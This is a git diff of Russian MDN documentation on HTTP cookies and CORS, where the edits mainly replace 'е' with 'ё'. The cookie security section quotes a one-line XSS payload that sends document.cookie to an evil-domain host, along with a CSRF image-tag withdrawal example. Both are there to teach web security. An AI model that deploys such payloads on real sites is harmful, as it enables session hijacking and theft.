href="/en-US/docs/Tools/Storage_Inspector">Storage Inspector </a>(Инспектор хранилища) из раздела Developer Tools (Веб-разработка).</p> +<p>Чтобы посмотреть сохранённые cookies (и какие ещё способы хранения данных использует веб-страница), можно использовать <a href="/en-US/docs/Tools/Storage_Inspector">Storage Inspector </a>(Инспектор хранилища) из раздела Developer Tools (Веб-разработка).</p> </div> <h2 id="Создание_cookie">Создание cookie</h2> @@ -32,7 +32,7 @@ original_slug: Web/HTTP/Куки <pre class="syntaxbox">Set-Cookie: <имя-cookie>=<заголовок-cookie></pre> -<p>Этот заголовок с сервера дает клиенту указание сохранить cookie (это делают, например, <a href="http://php.net/manual/en/function.setcookie.php">PHP</a>, <a href="https://nodejs.org/dist/latest-v6.x/docs/api/http.html#http_response_setheader_name_value">Node.js</a>, <a href="https://docs.python.org/3/library/http.cookies.html">Python</a> и <a href="http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html">Ruby on Rails</a>). Отклик, отправляемый браузеру, содержит заголовок <code>Set-Cookie</code>, и cookie запоминается браузером.</p> +<p>Этот заголовок с сервера даёт клиенту указание сохранить cookie (это делают, например, <a href="http://php.net/manual/en/function.setcookie.php">PHP</a>, <a href="https://nodejs.org/dist/latest-v6.x/docs/api/http.html#http_response_setheader_name_value">Node.js</a>, <a href="https://docs.python.org/3/library/http.cookies.html">Python</a> и <a href="http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html">Ruby on Rails</a>). Отклик, отправляемый браузеру, содержит заголовок <code>Set-Cookie</code>, и cookie запоминается браузером.</p> <pre>HTTP/1.0 200 OK Content-type: text/html @@ -41,7 +41,7 @@ Set-Cookie: tasty_cookie=strawberry [page content]</pre> -<p>Теперь, с каждым новым запросом к серверу, при помощи заголовка {{HTTPHeader("Cookie")}} браузер будет возвращать серверу все сохраненные ранее cookies. </p> +<p>Теперь, с каждым новым запросом к серверу, при помощи заголовка {{HTTPHeader("Cookie")}} браузер будет возвращать серверу все сохранённые ранее cookies. </p> <pre>GET /sample_page.html HTTP/1.1 Host: www.example.org @@ -50,17 +50,17 @@ Cookie: yummy_cookie=choco; tasty_cookie=strawberry <h3 id="Сессионные_cookie">Сессионные cookie</h3> -<p>Простой cookie, пример которого приведен выше, представляет собой сессионный <em>cookie</em> (<em>session cookie</em>) - такие cookie удаляются при закрытии клиента, то есть существуют только на протяжении текущего сеанса, поскольку атрибуты <code>Expires</code> или <code>Max-Age</code> для него не задаются. Однако, если в браузере включено автоматическое восстановление сеанса, что случается очень часто, cookie сеанса может храниться постоянно, как если бы браузер никогда не закрывался.</p> +<p>Простой cookie, пример которого приведён выше, представляет собой сессионный <em>cookie</em> (<em>session cookie</em>) - такие cookie удаляются при закрытии клиента, то есть существуют только на протяжении текущего сеанса, поскольку атрибуты <code>Expires</code> или <code>Max-Age</code> для него не задаются. Однако, если в браузере включено автоматическое восстановление сеанса, что случается очень часто, cookie сеанса может храниться постоянно, как если бы браузер никогда не закрывался.</p> <h3 id="Постоянные_cookies">Постоянные cookies</h3> -<p><em>Постоянные cookie</em> ( <em>permanent cookies</em>) удаляются не с закрытием клиента, а при наступлении определенной даты (атрибут <code>Expires</code>) или после определенного интервала времени (атрибут <code>Max-Age</code>).</p> +<p><em>Постоянные cookie</em> ( <em>permanent cookies</em>) удаляются не с закрытием клиента, а при наступлении определённой даты (атрибут <code>Expires</code>) или после определённого интервала времени (атрибут <code>Max-Age</code>).</p> <pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;</pre> <h3 id="Secure_(безопасные)_и_HttpOnly_cookies">Secure <code>("безопасные") и HttpOnly</code> cookies</h3> -<p>"Безопасные" (secure) cookie отсылаются на сервер только если запрос выполняется по протоколу SSL и HTTPS. Однако важные данные никогда не следует передавать или хранить в cookies, поскольку сам их механизм весьма уязвим в отношении безопасности, а флаг <code>secure</code> никакого дополнительного шифрования или средств защиты не обеспечивает. Начиная с Chrome 52 и Firefox 52, незащищенные сайты (http:) не могут создавать куки с флагом <code>secure</code>.</p> +<p>"Безопасные" (secure) cookie отсылаются на сервер только если запрос выполняется по протоколу SSL и HTTPS. Однако важные данные никогда не следует передавать или хранить в cookies, поскольку сам их механизм весьма уязвим в отношении безопасности, а флаг <code>secure</code> никакого дополнительного шифрования или средств защиты не обеспечивает. Начиная с Chrome 52 и Firefox 52, незащищённые сайты (http:) не могут создавать куки с флагом <code>secure</code>.</p> <p>Куки HTTPonly не доступны из JavaScript через свойства {{domxref("Document.cookie")}} API, что помогает избежать межсайтового скриптинга ({{Glossary("XSS")}}). Устанавливайте этот флаг для тех cookie, к которым не требуется обращаться через JavaScript. В частности, если куки используются только для поддержки сеанса, то в JavaScript они не нужны, так что в этом случае следует устанавливать флаг <code>HttpOnly</code>.</p> @@ -69,7 +69,7 @@ Cookie: yummy_cookie=choco; tasty_cookie=strawberry <h3 id="Область_видимости_куков">Область видимости куков</h3> <p><code>Директивы Domain</code> <code>и Path </code>определяют область видимости куки, то есть те URL-адреса, к которым куки могут отсылаться.<br> - Атрибут Domain указывает хосты, на которые отсылаются куки. Если он не задан, то по умолчанию берется доменная часть адреса документа (но без поддоменов). Если домен указан явно, то поддомены всегда включены.</p> + Атрибут Domain указывает хосты, на которые отсылаются куки. Если он не задан, то по умолчанию берётся доменная часть адреса документа (но без поддоменов). Если домен указан явно, то поддомены всегда включены.</p> <p>Например, если задано <code>Domain=mozilla.org</code>, то куки включены и в поддоменах, например, в <code>developer.mozilla.org</code>.</p> @@ -96,7 +96,7 @@ document.cookie = "tasty_cookie=strawberry"; console.log(document.cookie); // logs "yummy_cookie=choco; tasty_cookie=strawberry"</pre> -<p>Учитывайте, пожалуйста, вытекающие из этого проблемы в отношении безопасности, подчеркнутые ниже (раздел <a href="/en-RU/docs/Web/HTTP/Cookies#Security">Security</a>). Куки, доступные для JavaScript, могут быть похищены посредством XSS.</p> +<p>Учитывайте, пожалуйста, вытекающие из этого проблемы в отношении безопасности, подчёркнутые ниже (раздел <a href="/en-RU/docs/Web/HTTP/Cookies#Security">Security</a>). Куки, доступные для JavaScript, могут быть похищены посредством XSS.</p> <ul> </ul> @@ -109,7 +109,7 @@ console.log(document.cookie); <h3 id="Захват_сессии_(session_hijacking)_и_XSS">Захват сессии (session hijacking) и XSS</h3> -<p>Куки часто используются в веб-приложениях для идентификации пользователя и сеанса работы, в котором он прошел процедуру аутентификации. Соответственно, похищение куков из приложения может привести к захвату авторизованного сеанса пользователя. Кража куков часто осуществляется посредством социальной инженерии (Social Engineering) и использования уязвимости приложения для {{Glossary("XSS")}}.</p> +<p>Куки часто используются в веб-приложениях для идентификации пользователя и сеанса работы, в котором он прошёл процедуру аутентификации. Соответственно, похищение куков из приложения может привести к захвату авторизованного сеанса пользователя. Кража куков часто осуществляется посредством социальной инженерии (Social Engineering) и использования уязвимости приложения для {{Glossary("XSS")}}.</p> <pre class="brush: js">(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;</pre> @@ -117,7 +117,7 @@ console.log(document.cookie); <h3 id="Межсайтовая_подделка_запроса_(CSRF_-_Cross-site_request_forgery)">Межсайтовая подделка запроса (CSRF - Cross-site request forgery)</h3> -<p>В <a href="https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery">Wikipedia</a> приведен хороший пример {{Glossary("CSRF")}}. В сообщение (например, в чате или на форуме) включают (якобы) изображение, которое, на самом деле, представляет собой запрос к банковскому серверу на снятие денег:</p> +<p>В <a href="https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery">Wikipedia</a> приведён хороший пример {{Glossary("CSRF")}}. В сообщение (например, в чате или на форуме) включают (якобы) изображение, которое, на самом деле, представляет собой запрос к банковскому серверу на снятие денег:</p> <pre class="brush: html"><img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory"></pre> @@ -134,17 +134,17 @@ console.log(document.cookie); <h3 id="Сторонние_(Third-party)_куки">Сторонние (Third-party) куки</h3> -<p>Куки связаны с определенным доменом. Если он совпадает с доменом страницы, на которой вы находитесь, то их называют "<em>куками первого лица</em>" (first-party cookies). Если это другой домен, их называют "<em>сторонними куками</em>" (<em>third-party cookies</em>). Куки первого лица отсылаются только на тот сервер, который их создал. Однако, страница может содержать изображения или другие компоненты (например, рекламные баннеры), хранящиеся на других серверах. Куки, посылаемые через такие компоненты, используются, главным образом, в рекламных целях или для отслеживания информации в сети. В качестве примера можно рассмотреть <a href="https://www.google.com/policies/technologies/types/">типы файлов cookie, используемые Google</a>. Большинство браузеров по умолчанию разрешают использование сторонних куков, но есть расширения, позволяющие их блокировать (например, <a href="https://addons.mozilla.org/en-US/firefox/addon/privacy-badger-firefox/">Privacy Badger</a> от <a href="https://www.eff.org/">EFF</a>).</p> +<p>Куки связаны с определённым доменом. Если он совпадает с доменом страницы, на которой вы находитесь, то их называют "<em>куками первого лица</em>" (first-party cookies). Если это другой домен, их называют "<em>сторонними куками</em>" (<em>third-party cookies</em>). Куки первого лица отсылаются только на тот сервер, который их создал. Однако, страница может содержать изображения или другие компоненты (например, рекламные баннеры), хранящиеся на других серверах. Куки, посылаемые через такие компоненты, используются, главным образом, в рекламных целях или для отслеживания информации в сети. В качестве примера можно рассмотреть <a href="https://www.google.com/policies/technologies/types/">типы файлов cookie, используемые Google</a>. Большинство браузеров по умолчанию разрешают использование сторонних куков, но есть расширения, позволяющие их блокировать (например, <a href="https://addons.mozilla.org/en-US/firefox/addon/privacy-badger-firefox/">Privacy Badger</a> от <a href="https://www.eff.org/">EFF</a>).</p> <p>Если вы не сообщите об использовании сторонних куков, а пользователь обнаружит их самостоятельно, то доверие к вам может пошатнуться. Чтобы избежать этого, лучше предоставлять соответствующую информацию. В некоторых странах использование куков регламентируется законодательством. Прочитать об этом можно, например, в Википедии в разделе <a href="https://wikimediafoundation.org/wiki/Cookie_statement">cookie statement </a>(создание куков).</p> <h3 id="Не_отслеживать_(Do-Not-Track)">Не отслеживать (Do-Not-Track)</h3> -<p>Для запрета на отслеживание со стороны приложения, или межсайтового отслеживания, можно использовать заголовок {{HTTPHeader("DNT")}}, хотя технических или законодательных требований на этот счет нет. Подробнее об этом рассказывается в разделе заголовок {{HTTPHeader("DNT")}}.</p> +<p>Для запрета на отслеживание со стороны приложения, или межсайтового отслеживания, можно использовать заголовок {{HTTPHeader("DNT")}}, хотя технических или законодательных требований на этот счёт нет. Подробнее об этом рассказывается в разделе заголовок {{HTTPHeader("DNT")}}.</p> <h3 id="Директива_Евросоюза_о_куках">Директива Евросоюза о куках</h3> -<p>Правила по использованию куков в Евросоюзе (ЕС) определены в Директиве 2009/136/EC Европарламента (<a href="http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32009L0136">Directive 2009/136/EC</a>), вступившей в действие 25 мая 2011. Это не закон, как таковой, а рекомендация странам-членам ЕС принять законы, соответствующие её требованиям. В каждой стране на этот счет могут быть свои законы.</p> +<p>Правила по использованию куков в Евросоюзе (ЕС) определены в Директиве 2009/136/EC Европарламента (<a href="http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32009L0136">Directive 2009/136/EC</a>), вступившей в действие 25 мая 2011. Это не закон, как таковой, а рекомендация странам-членам ЕС принять законы, соответствующие её требованиям. В каждой стране на этот счёт могут быть свои законы.</p> <p>Согласно этой директиве для хранения или извлечения информации с компьютера пользователя требуется проинформировать его и получить соответствующее разрешение. С момента её появления многие сайты добавили баннеры, информирующие пользователя об использовании куков.</p> diff --git a/files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html b/files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html index 48cb10706a..1a69c7a3d0 100644 --- a/files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html +++ b/files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html @@ -23,7 +23,7 @@ translation_of: Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin <h2 id="Что_пошло_не_так">Что пошло не так?</h2> -<p>Проще говоря, источник делает запрос который не совпадает ни с одним из источников разрешенных заголовком - {{HTTPHeader("Access-Control-Allow-Origin")}}.</p> +<p>Проще говоря, источник делает запрос который не совпадает ни с одним из источников разрешённых заголовком - {{HTTPHeader("Access-Control-Allow-Origin")}}.</p> <p>Эта ошибка также может произойти, если ответ содержит более одного заголовка <code>Access-Control-Allow-Origin</code>.</p> diff --git a/files/ru/web/http/cors/errors/corsdisabled/index.html b/files/ru/web/http/cors/errors/corsdisabled/index.html index c4f75914b1..0c5d69b7c3 100644 --- a/files/ru/web/http/cors/errors/corsdisabled/index.html +++ b/files/ru/web/http/cors/errors/corsdisabled/index.html @@ -11,9 +11,9 @@ translation_of: Web/HTTP/CORS/Errors/CORSDisabled <h2 id="Что_случилось">Что случилось?</h2> -<p>При запросе с использованием {{Glossary("CORS")}}, последний был отключен в браузере пользователя. Чтобы использовать CORS, его необходимо включить.</p> +<p>При запросе с использованием {{Glossary("CORS")}}, последний был отключён в браузере пользователя. Чтобы использовать CORS, его необходимо включить.</p> -<p>В браузере Firefox, настройка которая отключает CORS - <code>content.cors.disable</code>. Устанавливая данное значение в <code>true</code> вы отключаете CORS, поэтому каждый раз при использовании CORS запрос будет отклонен с ошибкой.</p> +<p>В браузере Firefox, настройка которая отключает CORS - <code>content.cors.disable</code>. Устанавливая данное значение в <code>true</code> вы отключаете CORS, поэтому каждый раз при использовании CORS запрос будет отклонён с ошибкой.</p> <h2 id="Смотрите_также">Смотрите также</h2> diff --git a/files/ru/web/http/cors/errors/corsmissingalloworigin/index.html b/files/ru/web/http/cors/errors/corsmissingalloworigin/index.html index 56875e1603..60e0ed817b 100644 --- a/files/ru/web/http/cors/errors/corsmissingalloworigin/index.html +++ b/files/ru/web/http/cors/errors/corsmissingalloworigin/index.html @@ -11,13 +11,13 @@ translation_of: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin <p>В ответе на {{Glossary("CORS")}}-запрос отсутствует заголовок {{HTTPHeader("Access-Control-Allow-Origin")}}, используемый для проверки, может ли ресурс быть доступен для контента на текущем домене.</p> -<p>Если у вас есть доступ к серверу, то добавьте домен запрашивающего сайта в список разрешенных доменов, добавив его в значение заголовка <code>Access-Control-Allow-Origin</code>.</p> +<p>Если у вас есть доступ к серверу, то добавьте домен запрашивающего сайта в список разрешённых доменов, добавив его в значение заголовка <code>Access-Control-Allow-Origin</code>.</p> <p>Например, для предоставления сайту https://amazing.site доступа к ресурсам с использованием CORS, заголовок должен выглядеть так:</p> <pre>Access-Control-Allow-Origin: https://amazing.site</pre> -<p>Также вы можете разрешить доступ любому сайту, используя подстановку <code>*</code>. Используйте этот способ только для публичных API. В закрытых API <code>*</code> не должна использоваться, вместо этого должен быть установлен определенный домен или домены. При этом подстановка работает только для запросов с атрибутом {{htmlattrxref("crossorigin")}} со значением <code>anonymous</code>.</p> +<p>Также вы можете разрешить доступ любому сайту, используя подстановку <code>*</code>. Используйте этот способ только для публичных API. В закрытых API <code>*</code> не должна использоваться, вместо этого должен быть установлен определённый домен или домены. При этом подстановка работает только для запросов с атрибутом {{htmlattrxref("crossorigin")}} со значением <code>anonymous</code>.</p> <pre>Access-Control-Allow-Origin: *</pre> diff --git a/files/ru/web/http/cors/index.html b/files/ru/web/http/cors/index.html index ca98549889..c7ec4d9028 100644 --- a/files/ru/web/http/cors/index.html +++ b/files/ru/web/http/cors/index.html @@ -13,7 +13,7 @@ translation_of: Web/HTTP/CORS <p><img alt="" src="https://mdn.mozillademos.org/files/14295/CORS_principle.png" style="height: 305px; width: 440px;"></p> -<p>Механизм CORS поддерживает кросс-доменные запросы и передачу данных между браузером и web-серверами по защищенному соединению. Современные браузеры используют CORS в API-контейнерах, таких как {{domxref("XMLHttpRequest")}} или <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a>, чтобы снизить риски, присущие запросам с других источников.</p> +<p>Механизм CORS поддерживает кросс-доменные запросы и передачу данных между браузером и web-серверами по защищённому соединению. Современные браузеры используют CORS в API-контейнерах, таких как {{domxref("XMLHttpRequest")}} или <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a>, чтобы снизить риски, присущие запросам с других источников.</p> <h2 id="Кто_должен_читать_данную_статью">Кто должен читать данную статью?</h2> @@ -31,14 +31,14 @@ translation_of: Web/HTTP/CORS <li><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL">WebGL текстуры</a>.</li> <li>Фреймы с изображениями/видео, добавленными в канвас с помощью <code><a href="/en-US/docs/Web/API/CanvasRenderingContext2D/drawImage">drawImage</a></code>.</li> <li>Стили (для <a href="/en-US/docs/Web/CSS/CSSOM_View">CSSOM</a> доступа).</li> - <li>Скрипты (для отключенных исключений).</li> + <li>Скрипты (для отключённых исключений).</li> </ul> <p>Эта статья описывает общие понятия Cross-Origin Resource Sharing и включает обсуждение необходимых HTTP заголовков.</p> <h2 id="Обзор_функциональности">Обзор функциональности</h2> -<p>Стандарт Cross-Origin Resource Sharing работает с помощью добавления новых <a href="/en-US/docs/Web/HTTP/Headers">HTTP-заголовков</a>, которые позволяют серверам описывать набор источников, которым разрешено читать информацию, запрашиваемую web-браузером. В частности, для методов HTTP-запросов, которые могут привести к побочным эффектам над данными сервера (в частности, для HTTP методов, отличных от {{HTTPMethod("GET")}} или для {{HTTPMethod("POST")}} запросов, использующих определенные <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME-</a>типы), спецификация требует, чтобы браузеры "предпроверяли" запрос, запрашивая поддерживающие методы с сервера с помощью метода HTTP-запроса {{HTTPMethod("OPTIONS")}} и затем, поверх "подтверждения" с сервера, отсылали фактический запрос с фактическим методом HTTP-запроса. Сервера также могут оповещать клиентов должны ли "полномочия" (включая <a href="/en-US/docs/Web/HTTP/Cookies">Cookies</a> и HTTP Authentication данные) быть отправлены с запросом.</p> +<p>Стандарт Cross-Origin Resource Sharing работает с помощью добавления новых <a href="/en-US/docs/Web/HTTP/Headers">HTTP-заголовков</a>, которые позволяют серверам описывать набор источников, которым разрешено читать информацию, запрашиваемую web-браузером. В частности, для методов HTTP-запросов, которые могут привести к побочным эффектам над данными сервера (в частности, для HTTP методов, отличных от {{HTTPMethod("GET")}} или для {{HTTPMethod("POST")}} запросов, использующих определённые <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME-</a>типы), спецификация требует, чтобы браузеры "предпроверяли" запрос, запрашивая поддерживающие методы с сервера с помощью метода HTTP-запроса {{HTTPMethod("OPTIONS")}} и затем, поверх "подтверждения" с сервера, отсылали фактический запрос с фактическим методом HTTP-запроса. Сервера также могут оповещать клиентов должны ли "полномочия" (включая <a href="/en-US/docs/Web/HTTP/Cookies">Cookies</a> и HTTP Authentication данные) быть отправлены с запросом.</p> <p>Следующая секция описывает сценарии, а также предоставляет анализ использования HTTP-заголовков. </p> @@ -46,7 +46,7 @@ translation_of: Web/HTTP/CORS <p>Здесь мы рассмотрим три сценария, которые иллюстрируют как Cross-Origin Resource Sharing работает. Каждый сценарий использует объект {{domxref("XMLHttpRequest")}}, который может быть использован для межсайтового взаимодействия, в любом, поддерживающем данный объект, браузере.</p> -<p>Фрагменты JavaScript кода, включенные в эти секции (а также фрагменты кода, отвечающие за корректную обработку межсерверных запросов, которые запускаются на сервере) могут быть испытаны "в действии" на <a class="external" href="http://arunranga.com/examples/access-control/">http://arunranga.com/examples/access-control/</a>, и будут работать в браузерах, которые поддерживают {{domxref("XMLHttpRequest")}}.</p> +<p>Фрагменты JavaScript кода, включённые в эти секции (а также фрагменты кода, отвечающие за корректную обработку межсерверных запросов, которые запускаются на сервере) могут быть испытаны "в действии" на <a class="external" href="http://arunranga.com/examples/access-control/">http://arunranga.com/examples/access-control/</a>, и будут работать в браузерах, которые поддерживают {{domxref("XMLHttpRequest")}}.</p> <p>Обсуждение Cross-Origin Resource Sharing с точки зрения сервера (включая фрагменты кода на PHP) может быть найдено в статье <a class="internal" href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Server-Side Access Control (CORS)</a>.</p> @@ -62,7 +62,7 @@ translation_of: Web/HTTP/CORS <li>{{HTTPMethod("POST")}}</li> </ul> </li> - <li>Кроме заголовков, которые автоматические проставляются user-agent'ом (например, {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}}, или <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">любой другой заголовок с именем, определенным в спецификации метода Fetch в секции “Запрещенные имена заголовков (которые нельзя изменить программно)”</a>), допустимыми заголовками, которые могут быть проставлены вручную, являются <a href="https://fetch.spec.whatwg.org/#cors-safelisted-request-header">те заголовки, которые определены спецификацией метода Fetch как “CORS-безопасные заголовки запроса”</a>, такие как: + <li>Кроме заголовков, которые автоматические проставляются user-agent'ом (например, {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}}, или <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">любой другой заголовок с именем, определённым в спецификации метода Fetch в секции “Запрещённые имена заголовков (которые нельзя изменить программно)”</a>), допустимыми заголовками, которые могут быть проставлены вручную, являются <a href="https://fetch.spec.whatwg.org/#cors-safelisted-request-header">те заголовки, которые определены спецификацией метода Fetch как “CORS-безопасные заголовки запроса”</a>, такие как: <ul> <li>{{HTTPHeader("Accept")}}</li> <li>{{HTTPHeader("Accept-Language")}}</li> @@ -104,7 +104,7 @@ function callOtherDomain() { } </pre> -<p>Это приведет к простому обмену запросами между клиентом и сервером, используя CORS заголовки для обработки привилегий:</p> +<p>Это приведёт к простому обмену запросами между клиентом и сервером, используя CORS заголовки для обработки привилегий:</p> <p><img alt="" src="https://mdn.mozillademos.org/files/14293/simple_req.png" style="height: 224px; width: 521px;"></p> @@ -134,13 +134,13 @@ Content-Type: application/xml [XML Data] </pre> -<p>Строчки 1 - 10 это заголовки отправленного запроса. Самим интересующим здесь для нас заголовком является {{HTTPHeader("Origin")}}, указанный на 10 строке. Данный заголовок указывает, что запрос пришел из содержимого домена <code class="plain">http://foo.example</code>.</p> +<p>Строчки 1 - 10 это заголовки отправленного запроса. Самим интересующим здесь для нас заголовком является {{HTTPHeader("Origin")}}, указанный на 10 строке. Данный заголовок указывает, что запрос пришёл из содержимого домена <code class="plain">http://foo.example</code>.</p> <p>Строчки 13 - 22 показывают HTTP-ответ от сервера на домен <code class="plain">http://bar.other</code>. В ответ сервер возвращает {{HTTPHeader("Access-Control-Allow-Origin")}} заголовок, указанный на 16 строке. Использование заголовков {{HTTPHeader("Origin")}} header и {{HTTPHeader("Access-Control-Allow-Origin")}} показывает протокол контроля доступа в простейшем виде. В этом случае, сервер отвечает с <code>Access-Control-Allow-Origin: *</code> что означает, что к ресурсу может получить доступ с <strong>любого</strong> домена кросс-сайтовым способом. Если владелец ресурса <code class="plain">http://bar.other</code> пожелал ограничить доступ к ресурсу для запросов только с <code class="plain">http://foo.example</code>, они отправят обратно:</p> <p><code class="plain">Access-Control-Allow-Origin: http://foo.example</code></p> -<p>Отметьте, никакой домен, кроме <code class="plain">http://foo.example</code> (определен ORIGIN: заголовок в запросе, как в 10 строке выше), не может получить доступ к ресурсу кросс-сайтовым способом. Заголовок <code>Access-Control-Allow-Origin</code> должен содержать значение, которое было отправлено в заголовке <code>Origin</code> запроса. </p> +<p>Отметьте, никакой домен, кроме <code class="plain">http://foo.example</code> (определён ORIGIN: заголовок в запросе, как в 10 строке выше), не может получить доступ к ресурсу кросс-сайтовым способом. Заголовок <code>Access-Control-Allow-Origin</code> должен содержать значение, которое было отправлено в заголовке <code>Origin</code> запроса. </p> <h3 id="Предварительные_запросы">Предварительные запросы</h3> @@ -160,7 +160,7 @@ Content-Type: application/xml <li>{{HTTPMethod("PATCH")}}</li> </ul> </li> - <li><strong>Или если</strong>, кроме заголовков, автоматически устанавливаемых пользовательским агентом (например, {{HTTPHeader ("Connection")}}, {{HTTPHeader ("User-Agent")}}, <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">или любым другим заголовком с именем, определенным в спецификации Fetch как "имя запрещенного заголовка"</a>), запрос включает любые заголовки, отличные от <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">тех, которые спецификация Fetch определяет как "заголовок запроса CORS-безопасный заголовок запроса"</a>, а именно: + <li><strong>Или если</strong>, кроме заголовков, автоматически устанавливаемых пользовательским агентом (например, {{HTTPHeader ("Connection")}}, {{HTTPHeader ("User-Agent")}}, <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">или любым другим заголовком с именем, определённым в спецификации Fetch как "имя запрещённого заголовка"</a>), запрос включает любые заголовки, отличные от <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">тех, которые спецификация Fetch определяет как "заголовок запроса CORS-безопасный заголовок запроса"</a>, а именно: <ul> <li>{{HTTPHeader("Accept")}}</li> <li>{{HTTPHeader("Accept-Language")}}</li> @@ -184,7 +184,7 @@ Content-Type: application/xml <li><strong>Или если </strong>объект {{domxref("ReadableStream")}} используется в запросе.</li> </ul> -<p>Ниже приведен пример запроса, который будет предварительно просмотрен.</p> +<p>Ниже приведён пример запроса, который будет предварительно просмотрен.</p> <pre class="brush: js notranslate" id="line1">var invocation = new XMLHttpRequest(); var url = 'http://bar.other/resources/post-here/'; @@ -204,7 +204,7 @@ function callOtherDomain(){ ...... </pre> -<p>В примере выше, 3 строка создает XML тело, чтобы отправить <code>POST</code> запросом на строке 8. Также, на строке 9, "кастомизированный" (не стандартный) заголовок HTTP запроса установлен (<code>X-PINGOTHER: pingpong</code>). Такие заголовки не являются частью протокола HTTP/1.1, но, как правило, полезны для веб-приложений. Так как запрос использует Content-Type <code>application/xml</code>, и так как установлен кастомизированный заголовок, этот запрос просматривается.</p> +<p>В примере выше, 3 строка создаёт XML тело, чтобы отправить <code>POST</code> запросом на строке 8. Также, на строке 9, "кастомизированный" (не стандартный) заголовок HTTP запроса установлен (<code>X-PINGOTHER: pingpong</code>). Такие заголовки не являются частью протокола HTTP/1.1, но, как правило, полезны для веб-приложений. Так как запрос использует Content-Type <code>application/xml</code>, и так как установлен кастомизированный заголовок, этот запрос просматривается.</p> <p><img alt="" src="https://mdn.mozillademos.org/files/16753/preflight_correct.png" style="height: 553px; width: 521px;"></p> @@ -242,7 +242,7 @@ Connection: Keep-Alive Content-Type: text/plain </pre> -<p>Как только предварительный запрос завершен, отправляется настоящий запрос:</p> +<p>Как только предварительный запрос завершён, отправляется настоящий запрос:</p> <pre class="brush: none notranslate">POST /resources/post-here/ HTTP/1.1 Host: bar.other @@ -294,23 +294,23 @@ Access-Control-Max-Age: 86400</pre> <p>Сервер отвечает с <code>Access-Control-Allow-Methods</code> и сообщает, что <code>POST</code>, <code>GET</code>, и <code>OPTIONS</code> являются жизнеспособными методами для запроса соответствующего ресурса. Обратите внимание, что этот заголовок похож на заголовок ответа {{HTTPHeader("Allow")}}, но используется строго в контексте контроля доступа.</p> -<p>Сервер также отправляет <code>Access-Control-Allow-Headers</code> со значением "<code>X-PINGOTHER, Content-Type</code>", подтверждая, что это разрешенные заголовки, которые будут использоваться с фактическим запросом. Как и <code>Access-Control-Allow-Methods</code>, <code>Access-Control-Allow-Headers</code> представляет собой список допустимых заголовков через запятую.</p> +<p>Сервер также отправляет <code>Access-Control-Allow-Headers</code> со значением "<code>X-PINGOTHER, Content-Type</code>", подтверждая, что это разрешённые заголовки, которые будут использоваться с фактическим запросом. Как и <code>Access-Control-Allow-Methods</code>, <code>Access-Control-Allow-Headers</code> представляет собой список допустимых заголовков через запятую.</p> -<p>Наконец, {{HTTPHeader("Access-Control-Max-Age")}} дает значение в секундах, в течение которого можно кэшировать ответ на предварительный запрос без отправки другого предварительного запроса. В этом случае, 86400 секунды - это 24 часа. Обратите внимание, что каждый браузер имеет<a href="/en-US/docs/Web/HTTP/Headers/Access-Control-Max-Age"> максимальное внутреннее значение</a>, которое имеет приоритет, когда <code>Access-Control-Max-Age</code> больше.</p> +<p>Наконец, {{HTTPHeader("Access-Control-Max-Age")}} даёт значение в секундах, в течение которого можно кэшировать ответ на предварительный запрос без отправки другого предварительного запроса. В этом случае, 86400 секунды - это 24 часа. Обратите внимание, что каждый браузер имеет<a href="/en-US/docs/Web/HTTP/Headers/Access-Control-Max-Age"> максимальное внутреннее значение</a>, которое имеет приоритет, когда <code>Access-Control-Max-Age</code> больше.</p> <h4 id="Предварительные_запросы_и_переадресации">Предварительные запросы и переадресации</h4> <p>Большинство браузеров в настоящее время не поддерживают следующие переадресации для предварительных запросов. Если переадресация происходит для предварительного запроса, большинство современных браузеров сообщат об ошибке, такой как следующее.</p> <blockquote> -<p>Запрос был перенаправлен на 'https://example.com/foo', который запрещен для запросов из разных источников, требующих предварительной проверки</p> +<p>Запрос был перенаправлен на 'https://example.com/foo', который запрещён для запросов из разных источников, требующих предварительной проверки</p> </blockquote> <blockquote> <p>Запрос требует предварительной проверки, которая запрещена для перенаправления между источниками</p> </blockquote> -<p>Протокол CORS изначально требовал такого поведения, но впоследствии <a href="https://github.com/whatwg/fetch/commit/0d9a4db8bc02251cc9e391543bb3c1322fb882f2">был изменен, чтобы больше не требовать его.</a> Однако большинство браузеров еще не реализовали это изменение и все еще демонстрируют поведение, которое требовалось изначально.</p> +<p>Протокол CORS изначально требовал такого поведения, но впоследствии <a href="https://github.com/whatwg/fetch/commit/0d9a4db8bc02251cc9e391543bb3c1322fb882f2">был изменён, чтобы больше не требовать его.</a> Однако большинство браузеров ещё не реализовали это изменение и все ещё демонстрируют поведение, которое требовалось изначально.</p> <p>Поэтому, пока браузеры не догонят спецификацию, вы можете обойти это ограничение, выполнив одно или оба из следующих действий:</p> @@ -328,9 +328,9 @@ Access-Control-Max-Age: 86400</pre> <p>Однако, если запрос инициирует предварительную проверку из-за наличия в запросе заголовка `Authorization`, вы не сможете 